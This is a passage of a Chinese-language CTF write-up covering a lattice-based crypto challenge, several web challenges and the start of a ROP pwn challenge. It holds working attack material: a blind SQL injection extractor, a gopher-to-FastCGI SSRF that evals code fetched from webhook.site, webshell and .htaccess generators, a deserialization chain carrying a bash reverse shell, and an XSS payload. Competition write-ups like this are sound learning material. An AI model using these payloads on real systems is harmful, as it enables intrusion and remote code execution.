\mid \alpha,\beta,\gamma \in [-1,1] \land v_1,v_2 \in S\}$ 中所有的向量就能找到 $X'$ 的 basis。 找到之後就能解方程組得到 $a'$,然後送到 remote server 拿 flag。 :::spoiler solve.sage ```python from pwn import * import ast L = 200 N = 100 io = remote("eof.ototot.cf", 51820) io.recvuntil(b"M = ") M = ZZ(int(io.recvlineS().strip())) io.recvuntil(b"b = ") b = ast.literal_eval(io.recvlineS().strip()) def knapsack2(b): B = matrix(b).T.augment(matrix.identity(len(b))) # B = B.stack(vector([0] + [-1] * len(b))) B = B.stack(vector([M] + [0] * len(b))) B[:, 0] *= 2 ^ 20 # print(B.change_ring(Zmod(10))) print(B.dimensions()) for row in B.BKZ(): # print(row) if row[0] == 0: cf = row[1:] # print(sum([x * y for x, y in zip(cf, b)]) % M == 0) # print(vector(cf) * X.change_ring(Zmod(M))) yield vector(cf) p_vecs = list(knapsack2(b)) Xleftkernel = matrix(p_vecs[:N]) B = Xleftkernel.T.augment(matrix.identity(L)) B[:, :N] *= 2 ^ 10 R = B.BKZ() goodvecs = [] for row in R: if row[0] != 0: print("??") continue if all(-1 <= x <= 1 for x in row): if any(x < 0 for x in row): row = -row assert Xleftkernel * row[N:] == 0 goodvecs.append(row[N:]) if all(0 <= x <= 1 for x in row): print(row) print(len(goodvecs)) # for v in goodvecs: # tt = X.solve_right(v) # print([x for x in tt if x != 0]) # for v in X.T: # tt = matrix(goodvecs).solve_left(v) # # print([x for x in tt if x != 0]) # print([(i, x) for i, x in enumerate(tt) if x != 0]) from itertools import product from tqdm import tqdm Xvecs = set() for v in goodvecs: if all(0 <= x <= 1 for x in v): Xvecs.add(tuple(v)) bestvec = v print(len(Xvecs)) for v1 in tqdm(goodvecs): for v2 in goodvecs: for coef in product([-1, 0, 1], repeat=3): vv = coef[0] * v1 + coef[1] * v2 + coef[2] * bestvec if any([x < 0 for x in vv]): vv = -vv if all([0 <= x <= 1 for x in vv]) and sum(vv) != 0: Xvecs.add(tuple(vv)) if len(Xvecs) == N: break Xvecs = list(Xvecs) # assert all([tuple(v) in list(map(tuple, X.T)) for v in Xvecs]) XX = matrix(ZZ, Xvecs).T aa = XX.change_ring(Zmod(M)).solve_right(vector(b)).change_ring(ZZ) xx = vector(ZZ, int(N)) for j in range(N): for i in range(L): xx[j] = xx[j] * 2 + XX[i, j] def calc(va, vx): ret = [0] * L for i, vai in enumerate(va): for j in range(L): bij = (vx[i] >> (L - 1 - j)) & 1 ret[j] = (ret[j] + vai * bij) % M return ret assert tuple(calc(aa, xx)) == tuple(b) io.sendlineafter(b"a?", " ".join(map(str, aa)).encode()) io.sendlineafter(b"x?", " ".join(map(str, xx)).encode()) io.interactive() # FLAG{W0W_You_knoW_h0w_to_solve_H1dden_Sub5et_5um_Probl3m} ``` ::: > 這題官方的預期解是 [A Polynomial-Time Algorithm for Solving the Hidden Subset Sum Problem](https://eprint.iacr.org/2020/461.pdf),但我實在沒能在解題時 OSINT 到這個名字... > > 簡單對照了一下,我用的方法大概是個比較 ad-hoc 版本的 orthogonal lattice attack,概念上都和 [Nguyen-Stern Attack](https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.7518&rep=rep1&type=pdf) 接近 ## Web ### Happy Metaverse Year 這題有個簡單的 web 服務可以讓你登入,關鍵的程式碼在這邊: ```javascript const db = new sqlite3.Database('/tmp/db.sqlite3'); db.exec(` -- (re)create users table DROP TABLE IF EXISTS users; CREATE TABLE users( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT, ip TEXT ); -- create the chosen one INSERT INTO users (username, password, ip) VALUES ('kirito', 'FLAG{${FL4G}}', '48.76.33.33'); `); // initialize app const app = express(); app.use(bodyParser.urlencoded({ extended: true })); // omitted... app.post('/login', (req, res) => { const { username, password } = req.body; if (username?.includes("'") || password?.includes("'")) return res.send('Hacking attempt detected!'); // SQL injection? const query = `SELECT username, password, ip FROM users WHERE username = '${username}'`; db.get(query, (err, user) => { if (res.headersSent) return; if (!err && user && user.password === password && user.ip === req.ip) res.redirect('/welcome'); else res.render('failed'); }); // querying time should not longer than 50ms res.setTimeout(50, () => res.render('failed')); }); ``` 可以看到說他會檢查 `username` 和 `password` 有沒有 `'` (單引號),之後用字串拼接去生 sql query。 不過他在使用 body parser 的時候是開啟了 `extended` 模式,這模式下它是會接受 `username[]=123` 型式的 payload,然後解析為 `{ username: ["123"] }`。因為 javascript 的 string 和 array 都有 `includes` 函數,所以在一個 `["' or 1=1;# "]` 的 array 上去檢查有沒有 `includes("'")` 是 false。但是當 array 轉回字串時基本上是等價 `','.join(arr)`,所以一樣能 injection。 可以 injection 之後可以知道它根本不會回傳 response,就算有 error 也不管,所以只能用 blind (或是 time)。基本上就設計一個條件讓他在成立時進入 `res.redirect('/welcome')`,不成立就進入 `res.render('failed')`,之後就能用內建的一些函數去湊 condition,把 database 裡面的東西撈出來。 flag 可以知道是放在 user `kirito` 的密碼,所以用個下方的 injection 就可以一個一個字元去 binary search 了: ``` ' union select 'peko','miko','{ip}' from users where unicode(substr(password,{index}))<{value} and username='kirito ``` 不過很快就會發現直接在一般 ASCII 範圍中 binary search 會失敗,檢查一下會發現它原來是有包含許多 unicode 字元,包含中文和 emoji。因應對策就直接把 `password` 換成 `hex(password)`,然後 binary search hex chars 的範圍即可。 :::spoiler solve․py ```python import requests ip = requests.get("https://ipinfo.io/ip").text print(ip) def check_char(i, v): r = requests.post( "https://sao.h4ck3r.quest/login", data={ "username[]": f"' union select 'peko','miko','{ip}' from users where unicode(substr(hex(password),{i+1}))<{v} and username='kirito", "password": "miko", }, allow_redirects=False, ) return "welcome" in r.text def bsearch_char(i): l = 48 r = 71 while l + 1 != r: m = (l + r) // 2 if check_char(i, m): r = m else: l = m return chr(l) flaghex = "" while True: flaghex += bsearch_char(len(flaghex)) if len(flaghex) % 2 == 0: try: flag = bytes.fromhex(flaghex).decode() print(flaghex, flag) if flag[-1] == "}": break except UnicodeDecodeError: pass # FLAG{星🔵Starburst⚔️ꜱᴜᴛᴏʀɪᴍᴜ⚫爆} ``` ::: ### SSRF Challenge or Not? 進入網頁可以發現 `/proxy?url=` 可以 SSRF,先存取自己的 server,從 User-Agent 發現是透過 python-urllib 存取。 ``` GET / HTTP/1.1 Host: XXXX-XXX-XXX-XXX-XXX.ngrok.io User-Agent: Python-urllib/3.10 Accept-Encoding: identity X-Forwarded-For: 60.250.197.227 X-Forwarded-Proto: http ``` python-urllib 可以讀取 local file,但直接使用 `file:///etc/hosts` 會產生錯誤,使用 `file://l.nella17.tw/etc/hosts` 繞過。 > l.nella17.tw 指向 127.0.0.1 讀取 `file://l.nella17.tw/proc/mounts` 取得 flag 位置。 ``` ... /dev/sda2 /start.sh ext4 ro,relatime 0 0 /dev/sda2 /h3y_i_4m_th3_fl4ggg ext4 ro,relatime 0 0 /dev/sda2 /etc/resolv.conf ext4 rw,relatime 0 0 /dev/sda2 /etc/hostname ext4 rw,relatime 0 0 /dev/sda2 /etc/hosts ext4 rw,relatime 0 0 shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0 /dev/sda2 /sup3rrrrr/secret/server ext4 ro,relatime 0 0 /dev/sda2 /etc/nginx/sites-available/default ext4 ro,relatime 0 0 ... ``` 讀取 `file://l.nella17.tw/h3y_i_4m_th3_fl4ggg` 取得 flag。 `FLAG{well, maybe not? XD}` > intended solution 是讀取 secret key,利用 bottle cookie 的 pickle deserialize 觸發 RCE > > > [Deserialization security issues when using signed cookies](https://github.com/bottlepy/bottle/issues/900) > > dorneanu opened this issue on Oct 13, 2016 > > Release 0.13, Warning, Not released yet. > > [exploit.py](https://github.com/splitline/My-CTF-Challenges/blob/master/ais3-eof/2021-quals/Web/ssrf-or-not/exploit/intended.py) ### PM 這題是給了個**被攻下來**的網站,還直接提供了一個 webshell。只是說 webshell 執行指令的功能是壞掉的,而 flag 需要 `/readflag`。 webshell 的 viewer 和 editor 功能是正常的,而本身版本是 Antichat Shell v1.3,讀 webshell 本身的檔案後和 Google 到[其他版本](https://github.com/webshellpub/awsome-webshell/blob/master/php/Antichat%20Shell%20v1.3.php)比較一下可以發現這題的 webshell 多加了 `Download another webshell` 的功能。 該部份的程式碼如下: ```php // download shell if ($action=='downshell') { echo "<form method=\"POST\"> <input type=\"hidden\" name=\"action\" value=\"downshell\"> <p>webshell path to write:<input name=\"downpath\" value=\"/path/to/webshell.php\" size=50></p> <p>remote webshell url: <input name=\"shell_url\" value=\"https://raw.githubusercontent.com/tennc/webshell/master/138shell/A/Antichat%20Shell%20v1.3.txt\" size=100></p> <input type=\"submit\" value=\"download it\"></form>"; if(@$_POST['shell_url']){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_POST['shell_url']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); $shell = curl_exec($ch); curl_close($ch); $file = fopen($_POST['downpath'], "w"); fwrite($file, $shell); fclose($file); } } // end download shell ``` 基本上就是可以任意 curl 到一個網址,然後存檔到任意可寫入的地方 (only `/tmp` (?))。 之後再用 viewer 可以在 `/usr/local/etc/php/conf.d/docker-php.ini` 找到額外的設定,裡面就寫了 `disable_functions = "shell_exec, system"`,這就是為什麼 webshell 執行指令的功能會掛的原因。 用 curl 去 ssrf `file:///proc/self/net/tcp` 可以看到有連接的 tcp 連線,自己寫個腳本 parse 一下可以發現有個到 `127.0.0.1:9000` 的連線,對應 phpinfo 可以知道是 fastcgi。 有 fastcgi 的話那就能用 curl + gopher 去 ssrf 達成 RCE,這部分 payload 可以用 [Gopherus](https://github.com/tarunkant/Gopherus) 生成。只是生成後去 RCE 會發現說還是會碰到 `system` 被禁用的問題。 後來就自己 patch 了 Gopherus 的 `FastCGI.py`: ```diff diff --git a/scripts/FastCGI.py b/scripts/FastCGI.py index edf6b12..cb723f1 100644 --- a/scripts/FastCGI.py +++ b/scripts/FastCGI.py @@ -4,10 +4,11 @@ def FastCGI(): filename = raw_input("\033[96m" +"Give one file name which should be surely present in the server (prefer .php file)\nif you don't know press ENTER we have default one: "+ "\033[0m") if(not filename): - filename="/usr/share/php/PEAR.php" + filename="/var/www/html/index.php" - command=raw_input("\033[96m" +"Terminal command to run: "+ "\033[0m") - length=len(command)+52 + # command=raw_input("\033[96m" +"Terminal command to run: "+ "\033[0m") + php_code = "<?php eval(file_get_contents('https://webhook.site/39461208-ad58-46a6-8a61-31fb7ac25d2f'));" + length=len(php_code) char=chr(length) data = "\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e" + chr(len(str(length))) @@ -19,7 +20,7 @@ def FastCGI(): temp3 = chr(len(data) % 8) end = str("\x00"*(len(data)%8)) + "\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + char + "\x04\x00" - end += "<?php system('" + command + "');die('-----Made-by-SpyD3r-----\n');?>\x00\x00\x00\x00" + end += php_code+"\x00\x00\x00\x00" start = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" + temp1 + temp2 + temp3 + "\x00" ``` 直接把 code 部分改成從遠端下載程式碼來 eval,然後在遠端測試了幾個函數發現說 `passthru('/readflag give me the flag');` 可以拿到 flag: `FLAG{g0pher://finally a real ssrf challenge, and this should be a missing lab for edu-ctf students?}`。 ssrf 的指令: ```bash curl 'https://pekomiko.h4ck3r.quest/uploads/webshell.php' --data 'action=downshell' --data-urlencode 'shell_url=gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH91%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5B%04%00%3C%3Fphp%20eval%28file_get_contents%28%27https%3A//webhook.site/39461208-ad58-46a6-8a61-31fb7ac25d2f%27%29%29%3B%00%00%00%00' --data 'downpath=/tmp/okpeko' ``` 讀 output 的指令: ```bash curl 'https://pekomiko.h4ck3r.quest/uploads/webshell.php' --data 'action=download' --data-urlencode 'file=/tmp/okpeko' --output - ``` > 雖然比賽時沒注意到,不過 ssrf 的 `/tmp/okpeko` 可以直接換成 `php://output`,這樣只要一個指令就能看到輸出 ### babyphp 這題有個壓縮過的 php,把它 beautify 後如下: ```php <?php // using php:7.4-apache Dokcer image isset($_GET['8']) && ($_GET['8'] === '===D') && die(show_source(__FILE__, 1)); !file_exists($dir = "sandbox/" . md5(session_start() . session_id())) && mkdir($dir); chdir($dir); !isset($_GET['code']) && die('/?8====D'); $time = date('Y-m-d-H:i:s'); strlen($out = ($_GET['output'] ?? "$time.html")) > 255 && die('toooooooo loooooong'); (trim($ext = pathinfo($out) ['extension']) !== '' && strtolower(substr($ext, 0, 2)) !== "ph") ? file_put_contents($out, sprintf(file_get_contents('/va' . 'r/www/html/template.html') , $time, highlight_string($_GET['code'], true))) : die("BAD"); echo "<p>Highlight: <a href=\"/$dir/$out\">$out</a></p>" // You might also need: /phpinfo.php ?> ``` 簡單來說可以指定一個 `code` 和 `output` 參數,`output` 可以指定檔名,但是副檔名不可以為 `ph` 開頭。`code` 的話會先 highlight 過後使用塞到 `template.html` 的字串中,然後寫到 `sandbox/$output` 的位置。目標是要能夠執行指令。 首先是副檔名禁止 `ph` 開頭的話就代表 `php` `php7` ... 之類的都不能用,所以沒辦法靠直接寫 webshell 去 RCE。不過看 phpinfo 可以知道應該是用 `php:7.4-apache` 這個 image 跑的,既然有 Apache 的話代表 `.htaccess` 可用,而本地測試一下也發現這個 image 在預設設定是會吃 `.htaccess` 的。 所以現在的目前變成往 `.htaccess` 寫入以下內容: ```apache AddType application/x-httpd-php .p ``` 之後再想辦法寫個 `.p` 的檔案就能得到 webshell 了。不過困難的點有幾個,一個是 `template.html` 長這樣: :::spoiler template.html ```html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>PHP Highlighter</title> <link rel="stylesheet" href="/bootstrap.min.css"> <link rel="stylesheet" href="/cooool.css"> </head> <body> <div class="container"> <h1 class="page-header"> <span><span style="color:#ff0000;">P</span><span style="color:#ff6e00;">H</span><span style="color:#ffdd00;">P&nbsp;</span></span><span><span style="color:#b2ff00;">H</span><span style="color:#48ff00;">i</span><span style="color:#00ff26;">g</span><span style="color:#00ff95;">h</span><span style="color:#00fbff;">l</span><span style="color:#0091ff;">i</span><span style="color:#0022ff;">g</span><span style="color:#4d00ff;">h</span><span style="color:#b700ff;">t</span><span style="color:#ff00d9;">e</span><span style="color:#ff006a;">r</span></span> <img src="/img/hot.gif"> </h1> <marquee scrolldelay="10"> Generate @ %s =w= </marquee> <table cellspacing="2" cellpadding="2"> <tbody> <tr> <td><img src="/img/ie_logo.gif"></td> <td><img src="/img/ns_logo.gif"></td> <td><img src="/img/noframes.gif"></td> <td><img src="/img/notepad.gif"></td> </tr> </tbody> </table> <center><img src="/img/divider.gif"></center> <br> <div class="well"> %s </div> <center><img src="/img/divider.gif"></center> <br> <footer class="text-center"> <img src="/img/counter2.gif"> </footer> </div> </body> </html> ``` ::: 然後輸入的 `code` 參數也是先經過 `highlight_string` 才會被 `sprintf` 進去的,然而 `.htaccess` 不像 `.php` 那麼寬容,多塞一堆 garbage 進去只會讓它 error。此時可以想辦法用點 `php://filter/` 讓它對準備寫入的資料做些處裡,產生出想要的 output,例如 `convert.base64-decode` 在 decode 的時候會自動忽略掉所有非 base64 字元,而 `string.strip_tags` 會把一些長的像 `<xxx>` 的 tags 消除。 完整列表可以參考[官方文件](https://www.php.net/manual/en/filters.php) 因為 `template.html` 基本上都是 html,自然會想先用`string.strip_tags` 把多餘的 tags 刪掉,這樣就只剩下一些純文字和一堆 indentation 的空白。之後再把 payload 反覆 base64 encode 避免出錯,之後讓他反覆 base64 decode 後就能把其他剩下的資料去除,只剩下目標 payload...。只是這個計畫說起來很美好,實際上執行時會出錯,主要在於 `template.html` 有一行 `Generate @ %s =w=`,其中的 `=` 在 base64 代表的是結尾,之後還出現資料就會讓它出錯,所以 decode 失敗就使得 output 為空字串。 去除 `=` 的方法很多,例如我用一些和 ASCII 不相容的 encoding 如 [CP037](https://en.wikipedia.org/wiki/Code_page_37),這樣 `=`就會變成一些其他的資料,之後就能反覆 base64 decode 得到目標 output。當然,原本的資料也是要反過來轉換才不會讓它出錯。 下面兩個 php script 都會輸出一個 url,分別可以產生出寫入 `.htaccess` 和 `.p` 檔案的 url,分別寫入完就直接存取 webshell 在根目錄找 flag 即可。 :::spoiler gen_htaccess.php ```php <?php function encodeURIComponent($str) { $revert = array('%21' => '!', '%2A' => '*', '%27' => "'", '%28' => '(', '%29' => ')'); return strtr(rawurlencode($str), $revert); } function generateRandomString($length = 10) { return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length); } function noEqualB64($s) { while (true) { $b = base64_encode($s . generateRandomString(random_int(0, 10))); if (!strstr($b, '=')) { return $b; } } } $tmpl = file_get_contents("template.html"); $payload = "AddType application/x-httpd-php .p\n# c8763 --- "; $payload = iconv('CP037', 'LATIN1', 'x' . noEqualB64(noEqualB64($payload))); $output = sprintf($tmpl, date('Y-m-d-H:i:s'), $payload); $url = "php://filter/string.strip_tags|convert.iconv.LATIN1.CP037|convert.base64-decode|convert.base64-decode/resource=.htaccess"; file_put_contents($url, $output); echo "https://babyphp.h4ck3r.quest/?code=" . encodeURIComponent($payload) . "&output=" . encodeURIComponent($url) . "\n"; ``` ::: :::spoiler gen_shell.php ```php <?php function encodeURIComponent($str) { $revert = array('%21' => '!', '%2A' => '*', '%27' => "'", '%28' => '(', '%29' => ')'); return strtr(rawurlencode($str), $revert); } function generateRandomString($length = 10) { return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length); } function noEqualB64($s) { while (true) { $b = base64_encode($s . generateRandomString(random_int(0, 10))); if (!strstr($b, '=')) { return $b; } } } $tmpl = file_get_contents("template.html"); $payload = "<?php system(\$_GET[cmd]); ?> peko "; $payload = iconv('CP037', 'LATIN1', 'x' . noEqualB64(noEqualB64($payload))); $output = sprintf($tmpl, date('Y-m-d-H:i:s'), $payload); $url = "php://filter/string.strip_tags|convert.iconv.LATIN1.CP037|convert.base64-decode|convert.base64-decode/resource=shell.p"; file_put_contents($url, $output); echo "https://babyphp.h4ck3r.quest/?code=" . encodeURIComponent($payload) . "&output=" . encodeURIComponent($url) . "\n"; ``` ::: Flag: `FLAG{Pecchipee://filter/k!ng}` ### Imgura Album 這題是一個簡單的 album 服務,可以讓你上傳些照片上去,目標是 RCE。題目本身使用的是 [Flight](https://github.com/mikecao/flight) framework。 第一個明顯的洞在於 `src/lib/class.album.php` 中的 `addImage`: ```php public function addImage($uploaded_file_path, $image_name) { if (getimagesize($uploaded_file_path) === false) throw new Exception("File is not an image"); // NO WEBSHELL THIS TIME :D if (str_ends_with($image_name, 'jpg') || str_ends_with($image_name, 'jpeg') || str_ends_with($image_name, 'png')) move_uploaded_file($uploaded_file_path, $this->getAlbumPath() . "/$image_name"); else throw new Exception("Invalid extension"); } ``` 其中 `$this->getAlbumPath()` 的回傳值是來自 url `/album/@id/add` 的 `id` 參數,使用者可控。而 `$image_name` 是 HTTP 上傳時候的那個名稱,一樣可控。 這邊檔名只能以 `jpg`, `jpeg` 或是 `gif` 結尾,想不到寫 webshell 的方法。不過 album path 可以有 `../` 之類的出現,代表可以 path traversal 寫入,不過可寫入的地方也只有 `./uploads` 和 `/tmp` 的樣子。 `/tmp` 裡面會有 `sess_$PHPSESSID` 形式的檔案出現,存 session 的 serialized 資料。而 `index.php` 本身中也有直接從 session 中存取物件後呼叫函數的操作,所以可知目標是要想辦法利用 unserialize 去 RCE。 說到 php pop chain 就先去 [phpggc](https://github.com/ambionics/phpggc) 看看有沒有現成的,只是這個 framework 應該是特別挑過不在裡面的,所以沒有現成的能用。這樣就只好自己讀 framework source code 找 pop chain 了。 framework 的 `Engine.php` 中的 `Engine` class 有個 `__call` 如下: ```php public function __call(string $name, array $params) { $callback = $this->dispatcher->get($name); if (\is_callable($callback)) { return $this->dispatcher->run($name, $params); } if (!$this->loader->get($name)) { throw new Exception("{$name} must be a mapped method."); } $shared = empty($params) || $params[0]; return $this->loader->load($name, $shared); } ``` 這是個 php magic method 所以在 `obj->abc(123)` 時相當於呼叫 `obj->__call('obj', [123])`。裡面會用 `$dispatcher` 去找 callback,然後如果是 [callable](https://www.php.net/manual/en/language.types.callable.php) 的話就使用 `$dispatcher->run` 去呼叫之。實際測試下也發現確實能把 `$callback` 控制成 `system` 之類的,但問題在於 deserialized 的物件只在幾個地方被呼叫到: ```php Flight::get('user')->addAlbum($id); // $id is a random string Flight::get('user')->getUsername(); Flight::get('user')->getAlbums(); ``` 這代表說 `$params` 根本無法控制,就算能呼叫 `system` 也不能 RCE。 之後繼續看到 `$this->loader->load($name, $shared);`,裡面是在 `core/Loader.php` 之中: ```php public function load(string $name, bool $shared = true): ?object { $obj = null; if (isset($this->classes[$name])) { [$class, $params, $callback] = $this->classes[$name]; $exists = isset($this->instances[$name]); if ($shared) { $obj = ($exists) ? $this->getInstance($name) : $this->newInstance($class, $params); if (!$exists) { $this->instances[$name] = $obj; } } else { $obj = $this->newInstance($class, $params); } if ($callback && (!$shared || !$exists)) { $ref = [&$obj]; \call_user_func_array($callback, $ref); } } return $obj; } ``` 其中可以看到說如果 `$this->classes[$name]` 存在的話就從裡面拿 `$class` `$params` 和 `$callback`,如果沒有已存在的 instances 的話就用 `newInstance` 建立新 instance: ```php public function newInstance($class, array $params = []): object { if (\is_callable($class)) { return \call_user_func_array($class, $params); } switch (\count($params)) { case 0: return new $class(); case 1: return new $class($params[0]); case 2: return new $class($params[0], $params[1]); case 3: return new $class($params[0], $params[1], $params[2]); case 4: return new $class($params[0], $params[1], $params[2], $params[3]); case 5: return new $class($params[0], $params[1], $params[2], $params[3], $params[4]); default: try { $refClass = new ReflectionClass($class); return $refClass->newInstanceArgs($params); } catch (ReflectionException $e) { throw new Exception("Cannot instantiate {$class}", 0, $e); } } } ``` 可以看到說如果 `$class` 是 callable,那就把 `$class` 作為函數來呼叫,`$params` 是參數。只是這次的 `$class` 和 `$params` 都來自於 `$engine->$loader->$classes`,所以可以讓它呼叫到任意函數,參數也是可控的,因此就能夠 RCE。 另外在上傳檔案可能遇到的小問題是它會檢查 `getimagesize($uploaded_file_path) === false`,不過去讀一下 [source code](https://github.com/php/php-src/blob/944b6b6bbd6f05ad905f5f4ad07445792bee4027/ext/standard/image.c#L1461) 會知道它其實很好繞,例如在[處裡 gif 的地方](https://github.com/php/php-src/blob/944b6b6bbd6f05ad905f5f4ad07445792bee4027/ext/standard/image.c#L101)沒有什麼特別的驗證,而[判斷 GIF 的方法](https://github.com/php/php-src/blob/944b6b6bbd6f05ad905f5f4ad07445792bee4027/ext/standard/image.c#L1379)也只是檢查前三個 bytes 是不是 `GIF` 而已。所以給 session array 塞個 `GIF` 的 key 就能輕鬆繞過了。 :::spoiler payload_gen.php ```php <?php // need to run `composer install` in `src` folder include 'src/vendor/autoload.php'; include 'src/lib/class.album.php'; include 'src/lib/class.user.php'; use flight\Engine; function forceGet($obj, $prop) { $reflection = new ReflectionClass($obj); $property = $reflection->getProperty($prop); $property->setAccessible(true); return $property->getValue($obj); } function forceSet($obj, $prop, $val) { $reflection = new ReflectionClass($obj); $property = $reflection->getProperty($prop); $property->setAccessible(true); $property->setValue($obj, $val); } session_start(); # reverse shell $ip = '48.76.3.3'; $port = '8763'; $e = new Engine(); forceSet(forceGet($e, 'dispatcher'), 'events', []); forceSet(forceGet($e, 'dispatcher'), 'filters', []); forceSet(forceGet($e, 'loader'), 'classes', ['getUsername' => ['system', ["bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'"], 'unused_callback']]); forceSet(forceGet($e, 'loader'), 'instances', []); forceSet(forceGet($e, 'loader'), 'dirs', []); $e = unserialize(serialize(($e))); // $e->getUsername(); $_SESSION['GIF'] = 48763; $_SESSION['user'] = $e; echo session_encode(); # php payload_gen > test.gif # curl -H 'Cookie: PHPSESSID=pekomikojpg' 'https://imgura-album.h4ck3r.quest/album/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp/add' -X POST -F 'image=@test.gif; filename="sess_pekomikojpg"' # FLAG{4lbums_pwn3ddd} ``` ::: ### GistMD 這題可以建立 note,note 的內容會先經過 `marked.parse`,再經過 `DOMPurify.sanitize`,最後會將 `{%gist data %}` 轉換成 iframe。 在轉換成 iframe 時,data 會被經過 encodeURI,無法閉合雙引號插入其他 html 內容。 相關部分 code 如下: ```javascript // initialize markdown content window.onload = function () { fetch(RAW_MARKDOWN_URL).then(r => r.text()).then(markdown => { const html = DOMPurify .sanitize(marked.parse(markdown)) .replace(/{%gist\s*(\S+)\s*%}/g, (_, gistId) => ` <iframe class="gist-embed" sandbox="allow-scripts allow-same-origin" scrolling="no" data-gist="${encodeURI(gistId)}" csp="default-src 'none'; style-src 'unsafe-inline' https://github.githubassets.com/assets/; script-src https://gist.github.com/;"> </iframe>`); document.querySelector('.main').innerHTML = html; document.querySelector('.main').querySelectorAll('.gist-embed').forEach(embed => { embed.srcdoc = `<script src="https://gist.github.com/${embed.dataset.gist}.js"></script>` embed.onload = () => embed.style.height = `${embed.contentDocument.documentElement.scrollHeight}px`; }); }); document.getElementById('note-title').textContent = GistMD.title || GistMD.id; }; ``` 這邊最大的問題在於它在 DOMPurify sanatize 之後才 replace,這件事在 [cure53/DOMPurify](https://github.com/cure53/DOMPurify) 的 README 就有一句說明: > Well, please note, if you first sanitize HTML and then modify it afterwards, you might easily void the effects of sanitization. If you feed the sanitized markup to another library after sanitization, please be certain that the library doesn't mess around with the HTML on its own. 首先為了不要被 marked 的 markdown 特性干擾,可以把所有的東西塞到一個 `<div>` 中,因為它預設是不會處裡 inline html 裡面的東西的。 之後經過些實驗可以發現說 DOMPurify 是允許 attribute context 中出現 `<` 的,但是在 attribute context 之外的 `<` 都會當作 tag 解析,然後移除掉一些有問題的 tag。 不過 replace 時是直接把 `{%gist a %}` 換成一個 iframe tag,如果 `{%gist a %}` 出現在 attribute 中然後被 replace 成 html 的話,`<iframe>` start tag 結尾的那個 `>` 會被瀏覽器的 html parser 當作是 `<img>` 的結尾,然後因為 `<img>` 是 self-closing tag 所以之後接的東西都是屬於 `<img>` 之外的東西。`</iframe>` 的話是被瀏覽器忽略掉的樣子。 因此對於下面的 payload: ```html <div> <img alt="{%gist a %}<img src=/ onerror=eval(GistMD.title)>"> </div> ``` 經過 replace 後,iframe 的內容會讓第一個 img 閉合,原本在 alt 內剩下的內容就會就會出現在正常 element 的 context,成功 XSS。下面這個是從 devtools 看 DOM Tree 的解析結果: ```html <div> <img alt=" <iframe class=" 'gist-embed"'="" sandbox="allow-scripts allow-same-origin" scrolling="no" data-gist="a" csp="default-src 'none'; style-src 'unsafe-inline' https://github.githubassets.com/assets/; script-src https://gist.github.com/;"> <img src=/ onerror=eval(GistMD.title)>"> </div> ``` payload 部分可以直接塞 title,雖然很多字元會被 escape,但因為 title 本身是放在一個 javascript string literal 中解析的,可以使用 `\x61\x62` 這樣的方法 encode 即可。這可以用 [CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex('%5C%5Cx',0)&input=ZmV0Y2goJy8nKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKHQ9PmZldGNoKCdodHRwOi8vYXR0YWNrZXIuY29tLz9kYXRhPScrZW5jb2RlVVJJQ29tcG9uZW50KHQpKSk) 容易的做到。 Flag: `FLAG{?callback=xss.h4ck3r}` > intended solution 是透過 gist 的 jsonp callback function 觸發 top 的 click 事件,然後讓 `GistMD` 的 inline script 產生 syntax error 之後再 dom clobbering 填充 `GistMD.url` 達成 XSS。 ## Pwn ### hello-world 丟到 IDA,會發現 `fini()` 裡面有藏 code ```c= int fini() { int result; // eax __int64 buf[2]; // [rsp+0h] [rbp-70h] BYREF --- [4] ... result = open(file, 0); // --- [1] v8 = result; if ( result != -1 ) { buf[0] = 0LL; buf[1] = 0LL; read(0, buf, 1uLL); // --- [2] result = LOBYTE(buf[0]); if ( LOBYTE(buf[0]) == 0xFF ) return read(0, buf, 0x200uLL); // --- [3] } ... } ``` 這邊可以看到在 [1] 的時候,他會開一個檔案,用 `strace` 或 `gdb` 跑一下,可以知道他會開 flag ```c= ... openat(AT_FDCWD, "/home/hello-world/flag", O_RDONLY) = 3 ... ``` 接著觀察下面的 code,可以發現在 [2] 的時候會 `read()` 1 byte。 如果那個 byte 是 `0xff` 的話,會進到 [3],去 `read()` 長度 `0x200` 的 data 到 `buf`。 然而從 IDA 的資訊 [4] 可以看到,buf 位在 `rbp-0x70`。 也就是說,會出現 buffer overflow 的情況。 接著看了一下保護機制, 會發現是 No PIE 而且沒有 Canary ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` 所以想法很簡單,直接蓋 return address 做 ROP。 目標是去讀 flag ,然後把他印出來,就結束了。 用 `ROPgadget` 